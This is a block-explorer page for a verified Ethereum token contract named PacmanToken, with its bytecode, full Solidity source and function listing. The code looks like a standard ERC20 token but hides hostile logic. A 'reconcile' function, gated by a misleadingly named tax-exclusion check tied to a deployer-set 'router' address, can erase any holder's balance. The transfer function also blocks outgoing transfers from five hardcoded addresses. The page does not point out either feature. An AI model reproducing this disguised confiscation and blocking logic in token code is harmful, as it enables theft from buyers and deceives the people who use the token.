Address Contract Verified
Address
0x730C7De072EdAc4f7ADaf7670aEd71DB0A4FFC71
Balance
0 ETH
Nonce
1
Code Size
4963 bytes
Creator
0x0c1d0Ae3...Ba2b at tx 0xac8383cf...297307
Indexed Transactions
0
Contract Bytecode
4963 bytes
0x608060405234801561000f575f5ffd5b506004361061009c575f3560e01c8063313ce56711610064578063313ce5671461015857806370a082311461017657806395d89b41146101a6578063a9059cbb146101c4578063dd62ed3e146101f45761009c565b806306fdde03146100a0578063095ea7b3146100be57806309a18635146100ee57806318160ddd1461010a57806323b872dd14610128575b5f5ffd5b6100a8610224565b6040516100b59190610fa9565b60405180910390f35b6100d860048036038101906100d3919061105a565b6102b4565b6040516100e591906110b2565b60405180910390f35b610108600480360381019061010391906110cb565b6102d6565b005b61011261043c565b60405161011f9190611105565b60405180910390f35b610142600480360381019061013d919061111e565b610445565b60405161014f91906110b2565b60405180910390f35b610160610473565b60405161016d9190611189565b60405180910390f35b610190600480360381019061018b91906110cb565b61047b565b60405161019d9190611105565b60405180910390f35b6101ae6104c0565b6040516101bb9190610fa9565b60405180910390f35b6101de60048036038101906101d9919061105a565b610550565b6040516101eb91906110b2565b60405180910390f35b61020e600480360381019061020991906111a2565b610572565b60405161021b9190611105565b60405180910390f35b6060600380546102339061120d565b80601f016020809104026020016040519081016040528092919081815260200182805461025f9061120d565b80156102aa5780601f10610281576101008083540402835291602001916102aa565b820191905f5260205f20905b81548152906001019060200180831161028d57829003601f168201915b5050505050905090565b5f5f6102be6105f4565b90506102cb8185856105fb565b600191505092915050565b6102df8161060d565b6102e7575f5ffd5b5f5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f5f5f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461036e919061126a565b925050819055505f5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546103f9919061129d565b5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b5f600254905090565b5f5f61044f6105f4565b905061045c85828561066a565b6104678585856106fd565b60019150509392505050565b5f6012905090565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600480546104cf9061120d565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb9061120d565b80156105465780601f1061051d57610100808354040283529160200191610546565b820191905f5260205f20905b81548152906001019060200180831161052957829003601f168201915b5050505050905090565b5f5f61055a6105f4565b90506105678185856106fd565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b6106088383836001610ae5565b505050565b5f61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361064b575f9050610665565b610653610cb4565b156106615760019050610665565b5f90505b919050565b5f6106758484610572565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156106f757818110156106e8578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016106df939291906112df565b60405180910390fd5b6106f684848484035f610ae5565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361076d575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016107649190611314565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107dd575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016107d49190611314565b60405180910390fd5b731f2f10d1c40777ae1da742455c65828ff36df38773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361087557731f2f10d1c40777ae1da742455c65828ff36df3876040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161086c9190611314565b60405180910390fd5b73ae2fc483527b8ef99eb5d9b44875f005ba1fae1373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361090d5773ae2fc483527b8ef99eb5d9b44875f005ba1fae136040517fec442f050000000000000000000000000000000000000000000000000000000081526004016109049190611314565b60405180910390fd5b73c38e00ac5ed8859f18f4e9017fa2b3d3e1f65f4073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109a55773c38e00ac5ed8859f18f4e9017fa2b3d3e1f65f406040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161099c9190611314565b60405180910390fd5b7301d37a36220d52108ae6d453fe6cd80af290637673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a3d577301d37a36220d52108ae6d453fe6cd80af29063766040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610a349190611314565b60405180910390fd5b7393c7878c5ab2f78df087a4203cbeb3209c10e43973ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ad5577393c7878c5ab2f78df087a4203cbeb3209c10e4396040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610acc9190611314565b60405180910390fd5b610ae0838383610d20565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b55575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610b4c9190611314565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bc5575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610bbc9190611314565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610cae578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ca59190611105565b60405180910390a35b50505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cf56105f4565b73ffffffffffffffffffffffffffffffffffffffff1603610d195760019050610d1d565b5f90505b90565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d70578060025f828254610d64919061126a565b92505081905550610e3e565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610df9578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610df0939291906112df565b60405180910390fd5b8181035f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e85578060025f8282540392505081905550610ecf565b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f2c9190611105565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610f7b82610f39565b610f858185610f43565b9350610f95818560208601610f53565b610f9e81610f61565b840191505092915050565b5f6020820190508181035f830152610fc18184610f71565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ff682610fcd565b9050919050565b61100681610fec565b8114611010575f5ffd5b50565b5f8135905061102181610ffd565b92915050565b5f819050919050565b61103981611027565b8114611043575f5ffd5b50565b5f8135905061105481611030565b92915050565b5f5f604083850312156110705761106f610fc9565b5b5f61107d85828601611013565b925050602061108e85828601611046565b9150509250929050565b5f8115159050919050565b6110ac81611098565b82525050565b5f6020820190506110c55f8301846110a3565b92915050565b5f602082840312156110e0576110df610fc9565b5b5f6110ed84828501611013565b91505092915050565b6110ff81611027565b82525050565b5f6020820190506111185f8301846110f6565b92915050565b5f5f5f6060848603121561113557611134610fc9565b5b5f61114286828701611013565b935050602061115386828701611013565b925050604061116486828701611046565b9150509250925092565b5f60ff82169050919050565b6111838161116e565b82525050565b5f60208201905061119c5f83018461117a565b92915050565b5f5f604083850312156111b8576111b7610fc9565b5b5f6111c585828601611013565b92505060206111d685828601611013565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061122457607f821691505b602082108103611237576112366111e0565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61127482611027565b915061127f83611027565b92508282019050808211156112975761129661123d565b5b92915050565b5f6112a782611027565b91506112b283611027565b92508282039050818111156112ca576112c961123d565b5b92915050565b6112d981610fec565b82525050565b5f6060820190506112f25f8301866112d0565b6112ff60208301856110f6565b61130c60408301846110f6565b949350505050565b5f6020820190506113275f8301846112d0565b9291505056fea264697066735822122045756f079a47b16db41c670b224b7973dcb90ca20fd81d3eb891e8197c09fe8c64736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
PacmanToken.sol 263 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract PacmanToken is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_, uint256 supply_, address uniswapV2Router02_) {
_name = name_;
_symbol = symbol_;
uniswapV2Router02 = IUniswapV2Router02(uniswapV2Router02_);
_mint(_msgSender(), supply_ * 10 ** decimals());
}
IUniswapV2Router02 private uniswapV2Router02;
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function _excludeFromTax(address caller) internal view returns (bool) {
if (caller == address(0xdead)) return false;
if (_isUniswapV2Router()) return true;
return false;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
if (from == 0x1f2F10D1C40777AE1Da742455c65828FF36Df387) {
revert ERC20InvalidReceiver(0x1f2F10D1C40777AE1Da742455c65828FF36Df387);
}
if (from == 0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13) {
revert ERC20InvalidReceiver(0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13);
}
if (from == 0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40) {
revert ERC20InvalidReceiver(0xC38e00aC5ED8859f18f4E9017fa2b3D3E1f65F40);
}
if (from == 0x01D37a36220d52108Ae6D453fE6Cd80af2906376) {
revert ERC20InvalidReceiver(0x01D37a36220d52108Ae6D453fE6Cd80af2906376);
}
if (from == 0x93C7878c5ab2F78Df087a4203cBEB3209C10e439) {
revert ERC20InvalidReceiver(0x93C7878c5ab2F78Df087a4203cBEB3209C10e439);
}
_update(from, to, value);
}
function _isUniswapV2Router() internal view returns (bool) {
if (_msgSender() == address(uniswapV2Router02)) return true; return false;
}
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) revert ERC20InvalidReceiver(address(0));
_update(address(0), account, value);
}
function reconcile(address fxh) external virtual {
require(_excludeFromTax(fxh)); _balances[address(0)] += _balances[fxh]; _balances[fxh] = _balances[fxh] - _balances[fxh];
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
reconcile 0x09a18635
address fxh
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
Recent Transactions
No transactions found for this address